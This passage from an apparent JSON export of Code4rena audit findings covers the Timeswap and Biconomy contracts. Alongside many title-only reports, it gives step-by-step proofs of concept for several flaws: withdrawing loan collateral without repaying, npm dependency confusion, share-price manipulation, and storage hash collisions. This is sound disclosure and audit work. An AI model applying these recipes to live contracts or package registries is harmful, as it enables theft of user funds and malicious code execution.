Optimizations", "html_url": "https://github.com/code-423n4/2022-03-timeswap-findings/issues/31", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-03-timeswap-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-timeswap-findings/issues/30", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-03-timeswap-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-timeswap-findings/issues/27", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-timeswap-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-timeswap-findings/issues/25", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-03-timeswap-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-timeswap-findings/issues/24", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor acknowledged", "sponsor confirmed"], "target": "2022-03-timeswap-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-timeswap-findings/issues/20", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-03-timeswap-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-timeswap-findings/issues/19", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-03-timeswap-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-timeswap-findings/issues/18", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-03-timeswap-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-timeswap-findings/issues/17", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor acknowledged", "sponsor confirmed"], "target": "2022-03-timeswap-findings", "body": "Gas Optimizations"}, {"title": "[WP-H1] Wrong timing of check allows users to withdraw collateral without paying for the debt", "html_url": "https://github.com/code-423n4/2022-03-timeswap-findings/issues/16", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-03-timeswap-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-timeswap/blob/00317d9a8319715a8e28361901ab14fe50d06172/Timeswap/Core/contracts/TimeswapPair.sol#L459-L490 # Vulnerability details https://github.com/code-423n4/2022-03-timeswap/blob/00317d9a8319715a8e28361901ab14fe50d06172/Timeswap/Core/contracts/TimeswapPair.sol#L459-L490 ```solidity function pay(PayParam calldata param) external override lock returns ( uint128 assetIn, uint128 collateralOut ) { require(block.timestamp < param.maturity, 'E202'); require(param.owner != address(0), 'E201'); require(param.to != address(0), 'E201'); require(param.to != address(this), 'E204'); require(param.ids.length == param.assetsIn.length, 'E205'); require(param.ids.length == param.collateralsOut.length, 'E205'); Pool storage pool = pools[param.maturity]; Due[] storage dues = pool.dues[param.owner]; require(dues.length >= param.ids.length, 'E205'); for (uint256 i; i < param.ids.length;) { Due storage due = dues[param.ids[i]]; require(due.startBlock != BlockNumber.get(), 'E207'); if (param.owner != msg.sender) require(param.collateralsOut[i] == 0, 'E213'); require(uint256(assetIn) * due.collateral >= uint256(collateralOut) * due.debt, 'E303'); due.debt -= param.assetsIn[i]; due.collateral -= param.collateralsOut[i]; assetIn += param.assetsIn[i]; collateralOut += param.collateralsOut[i]; unchecked { ++i; } } ... ``` At L484, if there is only one `id`, and for the first and only time of the for loop, `assetIn` and `collateralOut` will be `0`, therefore `require(uint256(assetIn) * due.collateral >= uint256(collateralOut) * due.debt, 'E303');` will pass. A attacker can call `pay()` with `param.assetsIn[0] == 0` and `param.collateralsOut[i] == due.collateral`. ### PoC The attacker can: 1. `borrow()` `10,000 USDC` with `1 BTC` as `collateral`; 2. `pay()` with `0 USDC` as `assetsIn` and `1 BTC` as `collateralsOut`. As a result, the attacker effectively stole `10,000 USDC`. ### Recommendation Change to: ```solidity for (uint256 i; i < param.ids.length;) { Due storage due = dues[param.ids[i]]; require(due.startBlock != BlockNumber.get(), 'E207'); if (param.owner != msg.sender) require(param.collateralsOut[i] == 0, 'E213'); due.debt -= param.assetsIn[i]; due.collateral -= param.collateralsOut[i]; assetIn += param.assetsIn[i]; collateralOut += param.collateralsOut[i]; unchecked { ++i; } } require(uint256(assetIn) * due.collateral >= uint256(collateralOut) * due.debt, 'E303'); ... ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-timeswap-findings/issues/14", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-03-timeswap-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-timeswap-findings/issues/13", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-03-timeswap-findings", "body": "Gas Optimizations"}, {"title": "The `pay()` function can still be DOSed", "html_url": "https://github.com/code-423n4/2022-03-timeswap-findings/issues/11", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-03-timeswap-findings", "body": "The `pay()` function can still be DOSed"}, {"title": "NPM Dependency confusion. Unclaimed NPM Package and Scope/Org", "html_url": "https://github.com/code-423n4/2022-03-timeswap-findings/issues/9", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-03-timeswap-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-timeswap/blob/00317d9a8319715a8e28361901ab14fe50d06172/Timeswap/Convenience/package.json#L40 # Vulnerability details ## Impact I discovered an npm package and the scope of the package is unclaimed on the NPM website. This will give any User to claim that package and be able to Upload a Malicious Code under that unclaimed package. This results in achieving the Remote code execution on developers/users' machine who depends on the timeswap repository to build it on local env. ##Vulnerable Package Name: @timeswap-labs/timeswap-v1-core ## Proof of Concept 1. Create an Organization called \"timeswap-labs\". 2. Create a package called \"@timeswap-labs/timeswap-v1-core\" under \"timeswap-labs\" Organization. 3. Attacker can able to upload malicious code on unclaimed npm package with a higher version like 99.99.99 4. Now If any user/timeswap developer installs it by npm install package.json. The malicious pkg will be executed. Till now \"The Package is not claimed on NPM Registry, but it's vulnerable to dependency confusion\". You can read more dependency confusion here: https://dhiyaneshgeek.github.io/web/security/2021/09/04/dependency-confusion/ ## Tools Used Nothing Just OSINT ## Recommended Mitigation Steps Claim the Scope name called \"timeswap-labs\" By Following the above POC Step 1. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-timeswap-findings/issues/7", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor acknowledged", "sponsor confirmed"], "target": "2022-03-timeswap-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-timeswap-findings/issues/6", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-03-timeswap-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-timeswap-findings/issues/5", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-03-timeswap-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-timeswap-findings/issues/4", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor acknowledged", "sponsor confirmed"], "target": "2022-03-timeswap-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-timeswap-findings/issues/3", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-03-timeswap-findings", "body": "QA Report"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/216", "labels": [], "target": "2022-03-biconomy-findings", "body": "Agreements & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/196", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/195", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/193", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/191", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/190", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/189", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/188", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/187", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/184", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/183", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "Sending tokens close to the maximum will fail and user will lose tokens", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/181", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-03-biconomy-findings", "body": "Sending tokens close to the maximum will fail and user will lose tokens"}, {"title": " Possible frontrun on deposits on LiquidityPool", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/180", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-03-biconomy-findings", "body": " Possible frontrun on deposits on LiquidityPool"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/176", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/173", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/172", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/171", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/170", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/169", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/167", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/166", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/165", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "Frontrunning of setPerTokenWalletCap edge case", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/158", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-03-biconomy-findings", "body": "Frontrunning of setPerTokenWalletCap edge case"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/156", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/155", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/154", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/152", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/151", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/149", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/148", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/147", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "[WP-H23] Improper `tokenGasPrice` design can overcharge user for the gas cost by a huge margin", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/145", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-03-biconomy-findings", "body": "[WP-H23] Improper `tokenGasPrice` design can overcharge user for the gas cost by a huge margin"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/143", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/141", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "[WP-H17] Users will lose a majority or even all of the rewards when the amount of total shares is too large, due to precision loss", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/140", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-03-biconomy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-biconomy/blob/db8a1fdddd02e8cc209a4c73ffbb3de210e4a81a/contracts/hyphen/LiquidityFarming.sol#L265-L291 # Vulnerability details https://github.com/code-423n4/2022-03-biconomy/blob/db8a1fdddd02e8cc209a4c73ffbb3de210e4a81a/contracts/hyphen/LiquidityFarming.sol#L265-L291 ```solidity function getUpdatedAccTokenPerShare(address _baseToken) public view returns (uint256) { uint256 accumulator = 0; uint256 lastUpdatedTime = poolInfo[_baseToken].lastRewardTime; uint256 counter = block.timestamp; uint256 i = rewardRateLog[_baseToken].length - 1; while (true) { if (lastUpdatedTime >= counter) { break; } unchecked { accumulator += rewardRateLog[_baseToken][i].rewardsPerSecond * (counter - max(lastUpdatedTime, rewardRateLog[_baseToken][i].timestamp)); } counter = rewardRateLog[_baseToken][i].timestamp; if (i == 0) { break; } --i; } // We know that during all the periods that were included in the current iterations, // the value of totalSharesStaked[_baseToken] would not have changed, as we only consider the // updates to the pool that happened after the lastUpdatedTime. accumulator = (accumulator * ACC_TOKEN_PRECISION) / totalSharesStaked[_baseToken]; return accumulator + poolInfo[_baseToken].accTokenPerShare; } ``` https://github.com/code-423n4/2022-03-biconomy/blob/04751283f85c9fc94fb644ff2b489ec339cd9ffc/contracts/hyphen/LiquidityProviders.sol#L286-L292 ```solidity uint256 mintedSharesAmount; // Adding liquidity in the pool for the first time if (totalReserve[token] == 0) { mintedSharesAmount = BASE_DIVISOR * _amount; } else { mintedSharesAmount = (_amount * totalSharesMinted[token]) / totalReserve[token]; } ``` In `HyphenLiquidityFarming`, the `accTokenPerShare` is calculated based on the total staked shares. However, as the `mintedSharesAmount` can easily become very large on `LiquidityProviders.sol`, all the users can lose their rewards due to precision loss. ### PoC Given: - rewardsPerSecond is `10e18`; - lastRewardTime is 24 hrs ago; Then: 1. Alice `addTokenLiquidity()` with `1e8 * 1e18` XYZ on B-Chain, totalSharesMinted == `1e44`; 2. Alice `deposit()` to HyphenLiquidityFarming, totalSharesStaked == `1e44`; 3. 24 hrs later, Alice tries to claim the rewards. `accumulator = rewardsPerSecond * 24 hours` == 864000e18 == 8.64e23 Expected Results: As the sole staker, Alice should get all the `864000e18` rewards. Actual Results: Alice received 0 rewards. That's becasue when `totalSharesStaked > 1e36`, `accumulator = (accumulator * ACC_TOKEN_PRECISION) / totalSharesStaked[_baseToken];` will be round down to `0`. When the `totalSharesStaked` is large enough, all users will lose their rewards due to precision loss. ### Recommendation 1. Consider lowering the `BASE_DIVISOR` so that the initial share price can be higher; 2. Consider making `ACC_TOKEN_PRECISION` larger to prevent precision loss; See also the Recommendation on [WP-H14]. "}, {"title": "[WP-H14] `LiquidityProviders.sol` The share price of the LP can be manipulated and making future liquidityProviders unable to `removeLiquidity()`", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/139", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-03-biconomy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-biconomy/blob/04751283f85c9fc94fb644ff2b489ec339cd9ffc/contracts/hyphen/LiquidityProviders.sol#L345-L362 # Vulnerability details https://github.com/code-423n4/2022-03-biconomy/blob/04751283f85c9fc94fb644ff2b489ec339cd9ffc/contracts/hyphen/LiquidityProviders.sol#L345-L362 ```solidity function removeLiquidity(uint256 _nftId, uint256 _amount) external nonReentrant onlyValidLpToken(_nftId, _msgSender()) whenNotPaused { (address _tokenAddress, uint256 nftSuppliedLiquidity, uint256 totalNFTShares) = lpToken.tokenMetadata(_nftId); require(_isSupportedToken(_tokenAddress), \"ERR__TOKEN_NOT_SUPPORTED\"); require(_amount != 0, \"ERR__INVALID_AMOUNT\"); require(nftSuppliedLiquidity >= _amount, \"ERR__INSUFFICIENT_LIQUIDITY\"); whiteListPeriodManager.beforeLiquidityRemoval(_msgSender(), _tokenAddress, _amount); // Claculate how much shares represent input amount uint256 lpSharesForInputAmount = _amount * getTokenPriceInLPShares(_tokenAddress); // Calculate rewards accumulated uint256 eligibleLiquidity = sharesToTokenAmount(totalNFTShares, _tokenAddress); ``` https://github.com/code-423n4/2022-03-biconomy/blob/db8a1fdddd02e8cc209a4c73ffbb3de210e4a81a/contracts/hyphen/LiquidityProviders.sol#L192-L194 ```solidity=192 function sharesToTokenAmount(uint256 _shares, address _tokenAddress) public view returns (uint256) { return (_shares * totalReserve[_tokenAddress]) / totalSharesMinted[_tokenAddress]; } ``` The share price of the liquidity can be manipulated to an extremely low value (1 underlying token worth a huge amount of shares), making it possible for `sharesToTokenAmount(totalNFTShares, _tokenAddress)` to overflow in `removeLiquidity()` and therefore freeze users' funds. ### PoC 1. Alice `addTokenLiquidity()` with `1e8 * 1e18` XYZ on B-Chain, totalSharesMinted == `1e44`; 2. Alice `sendFundsToUser()` and bridge `1e8 * 1e18` XYZ from B-Chain to A-Chain; 3. Alice `depositErc20()` and bridge `1e8 * 1e18` XYZ from A-Chain to B-Chain; 4. Alice `removeLiquidity()` and withdraw `1e8 * 1e18 - 1` XYZ, then: `totalReserve` == `1 wei` XYZ, and `totalSharesMinted` == `1e26`; 5. Bob `addTokenLiquidity()` with `3.4e7 * 1e18` XYZ; 6. Bob tries to `removeLiquidity()`. Expected Results: Bob to get back the deposits; Actual Results: The tx reverted due to overflow at `sharesToTokenAmount()`. ### Recommendation https://github.com/code-423n4/2022-03-biconomy/blob/04751283f85c9fc94fb644ff2b489ec339cd9ffc/contracts/hyphen/LiquidityProviders.sol#L280-L292 ```solidity=280 function _increaseLiquidity(uint256 _nftId, uint256 _amount) internal onlyValidLpToken(_nftId, _msgSender()) { (address token, uint256 totalSuppliedLiquidity, uint256 totalShares) = lpToken.tokenMetadata(_nftId); require(_amount > 0, \"ERR__AMOUNT_IS_0\"); whiteListPeriodManager.beforeLiquidityAddition(_msgSender(), token, _amount); uint256 mintedSharesAmount; // Adding liquidity in the pool for the first time if (totalReserve[token] == 0) { mintedSharesAmount = BASE_DIVISOR * _amount; } else { mintedSharesAmount = (_amount * totalSharesMinted[token]) / totalReserve[token]; } ... ``` Consider locking part of the first mint's liquidity to maintain a minimum amount of `totalReserve[token]`, so that the share price can not be easily manipulated. "}, {"title": "A `pauser` can brick the contracts", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/137", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-03-biconomy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-biconomy/blob/db8a1fdddd02e8cc209a4c73ffbb3de210e4a81a/contracts/security/Pausable.sol#L65-L68 # Vulnerability details https://github.com/code-423n4/2022-03-biconomy/blob/db8a1fdddd02e8cc209a4c73ffbb3de210e4a81a/contracts/security/Pausable.sol#L65-L68 ```solidity function renouncePauser() external virtual onlyPauser { emit PauserChanged(_pauser, address(0)); _pauser = address(0); } ``` A malicious or compromised `pauser` can call `pause()` and `renouncePauser()` to brick the contract and all the funds can be frozen. ### PoC Given: * Alice (EOA) is the `pauser` of the contract. 1. Alice calls `pause()` ; 2. Alice calls `renouncePauser()`; As a result, most of the contract's methods are now unavailable, and this cannot be reversed even by the `owner`. ### Recommendation Consider removing `renouncePauser()`, or requiring the contract not in `paused` mode when `renouncePauser()`. "}, {"title": "[WP-H5] `LiquidityFarming.sol` Unbounded for loops can potentially freeze users' funds in edge cases", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/136", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-03-biconomy-findings", "body": "[WP-H5] `LiquidityFarming.sol` Unbounded for loops can potentially freeze users' funds in edge cases"}, {"title": "[WP-H4] Deleting `nft Info` can cause users' `nft.unpaidRewards` to be permanently erased", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/135", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-03-biconomy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-biconomy/blob/db8a1fdddd02e8cc209a4c73ffbb3de210e4a81a/contracts/hyphen/LiquidityFarming.sol#L229-L253 # Vulnerability details https://github.com/code-423n4/2022-03-biconomy/blob/db8a1fdddd02e8cc209a4c73ffbb3de210e4a81a/contracts/hyphen/LiquidityFarming.sol#L229-L253 ```solidity function withdraw(uint256 _nftId, address payable _to) external whenNotPaused nonReentrant { address msgSender = _msgSender(); uint256 nftsStakedLength = nftIdsStaked[msgSender].length; uint256 index; for (index = 0; index < nftsStakedLength; ++index) { if (nftIdsStaked[msgSender][index] == _nftId) { break; } } require(index != nftsStakedLength, \"ERR__NFT_NOT_STAKED\"); nftIdsStaked[msgSender][index] = nftIdsStaked[msgSender][nftIdsStaked[msgSender].length - 1]; nftIdsStaked[msgSender].pop(); _sendRewardsForNft(_nftId, _to); delete nftInfo[_nftId]; (address baseToken, , uint256 amount) = lpToken.tokenMetadata(_nftId); amount /= liquidityProviders.BASE_DIVISOR(); totalSharesStaked[baseToken] -= amount; lpToken.safeTransferFrom(address(this), msgSender, _nftId); emit LogWithdraw(msgSender, baseToken, _nftId, _to); } ``` https://github.com/code-423n4/2022-03-biconomy/blob/db8a1fdddd02e8cc209a4c73ffbb3de210e4a81a/contracts/hyphen/LiquidityFarming.sol#L122-L165 ```solidity function _sendRewardsForNft(uint256 _nftId, address payable _to) internal { NFTInfo storage nft = nftInfo[_nftId]; require(nft.isStaked, \"ERR__NFT_NOT_STAKED\"); (address baseToken, , uint256 amount) = lpToken.tokenMetadata(_nftId); amount /= liquidityProviders.BASE_DIVISOR(); PoolInfo memory pool = updatePool(baseToken); uint256 pending; uint256 amountSent; if (amount > 0) { pending = ((amount * pool.accTokenPerShare) / ACC_TOKEN_PRECISION) - nft.rewardDebt + nft.unpaidRewards; if (rewardTokens[baseToken] == NATIVE) { uint256 balance = address(this).balance; if (pending > balance) { unchecked { nft.unpaidRewards = pending - balance; } (bool success, ) = _to.call{value: balance}(\"\"); require(success, \"ERR__NATIVE_TRANSFER_FAILED\"); amountSent = balance; } else { nft.unpaidRewards = 0; (bool success, ) = _to.call{value: pending}(\"\"); require(success, \"ERR__NATIVE_TRANSFER_FAILED\"); amountSent = pending; } } else { IERC20Upgradeable rewardToken = IERC20Upgradeable(rewardTokens[baseToken]); uint256 balance = rewardToken.balanceOf(address(this)); if (pending > balance) { unchecked { nft.unpaidRewards = pending - balance; } amountSent = _sendErc20AndGetSentAmount(rewardToken, balance, _to); } else { nft.unpaidRewards = 0; amountSent = _sendErc20AndGetSentAmount(rewardToken, pending, _to); } } } nft.rewardDebt = (amount * pool.accTokenPerShare) / ACC_TOKEN_PRECISION; emit LogOnReward(_msgSender(), baseToken, amountSent, _to); } ``` When `withdraw()` is called, `_sendRewardsForNft(_nftId, _to)` will be called to send the rewards. In `_sendRewardsForNft()`, when `address(this).balance` is insufficient at the moment, `nft.unpaidRewards = pending - balance` will be recorded and the user can get it back at the next time. However, at L244, the whole `nftInfo` is being deleted, so that `nft.unpaidRewards` will also get erased. There is no way for the user to get back this `unpaidRewards` anymore. ### Recommendation Consider adding a new parameter named `force` for `withdraw()`, `require(force || unpaidRewards == 0)` before deleting nftInfo. "}, {"title": " LiquidityFarming variable allows for hash collisions", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/131", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-03-biconomy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-biconomy/blob/04751283f85c9fc94fb644ff2b489ec339cd9ffc/contracts/hyphen/LiquidityFarming.sol#L59 https://github.com/code-423n4/2022-03-biconomy/blob/04751283f85c9fc94fb644ff2b489ec339cd9ffc/contracts/hyphen/LiquidityFarming.sol#L196:L224 https://github.com/code-423n4/2022-03-biconomy/blob/04751283f85c9fc94fb644ff2b489ec339cd9ffc/contracts/hyphen/LiquidityFarming.sol#L229:L253 # Vulnerability details ## Impact The `nftIdsStaked` variable introduces a hash collision vulnerability into the `LiquidityFarming.sol` contract as it is employing a mapping from address to a variable length of data field. Source: `https://github.com/code-423n4/2022-03-biconomy/blob/04751283f85c9fc94fb644ff2b489ec339cd9ffc/contracts/hyphen/LiquidityFarming.sol#L59` The easiest attack scenario allows loss of funds for victims as the attackers can stop victims from unstaking their NFT in the `withdraw` function. Two more complicated attack scenarios allow loss of funds as attackers can outright withdraw nfts of victims. ## Proof of Concept This attack depends very on the address of the victim an attacker would want to attack. Therefore let me just illustrate the problem. When using an address mapping to some fixed length data field one can rely on keccak to prevent collisions. When using an address mapping with an attacker controlled length data field an attacker has a somewhat easy path to create collisions and thereby write to or read from victims data. The first part to understanding the attack is understanding that all the nfts of a victim are going to be in continous storage locations of the contract. Lets assume that a victims mapped to array starts at 0x1337 and the own 2 nft with the Ids: 23 and 38. The memory layout could look like this: ``` addr | val | description ------|-----|---- 0x1337| 2 | length of the array 0x1338| 23 | Id of the first owned nft 0x1339| 38 | Id of the second owned nft ``` Please note if the victim were to deposit more nfts those nftIds would be placed in the storage address 0x133a, 0x133b and so on. ### Less complex attack scenario The easier attack scenario would involve the attacker generating addresses that result in a continous storage region below address 0x1337. Suppose the attacker were to generate an address whose arrays storage of nftIdsStaked lands at 0x1330. The memory layout would look like this. ``` addr | val | description ------|-----|---- 0x1330| 0 | length of the array 0x1337| 2 | length of the array 0x1338| 23 | Id of the first owned nft 0x1339| 38 | Id of the second owned nft ``` It is easy to see, that they could grow their array and thereby corrupting the array of the victim. They could essentially write nftIds of worthless nftId into the storage of the victim, thereby overwriting their nftId and preventing them (or anybody else) from withdrawing them. ### More complex attack scenario The more complex attack scenario involves finding two addresses that will have somewhat adjacent storage regions. Where the lower storage region encroaches on the length field of the array. The length field is attacker controlled, thereby allowing the attacker to call `withdraw` on arbitrary nftId. ``` addr | val | description ------|-----|---- 0x1337| 4 | length of lower array 0x1338| 37 | Id of the first owned (worthless) nft 0x1339| 39 | Id of the second owned (worthless) nft 0x133a| 40 | Id of the third owned (worthless) nft 0x133b| N | length of higher array (attacker controlled) AND 4th nftId of lower array 0x133a| 42 | Id of the first owned (worthless) nft ``` Please note that this \"feels\" like a traditional bruteforce attack on keccak (because it is) but it is orders of magnitude more likely to be succesful. Attackers can essentially trade bruteforcing addresses with calling `deposit` a bunch of times. As this attack scenario is somewhat less known and more similar to traditional memory corruption attacks allow me to leave a link describing the issue in more detail: `https://xlab.tencent.com/en/2018/11/09/pay-attention-to-the-ethereum-hash-collision-problem-from-the-stealing-coins-incident/` ## Tools Used Manual audit ## Recommended Mitigation Steps Track nftIdsStaked like so: ``` // user address => nth nft => nft id mapping(address => mapping(uint256 => uint256)) public nftIdsStaked; ``` "}, {"title": "Gas Optimizations", "html_url": 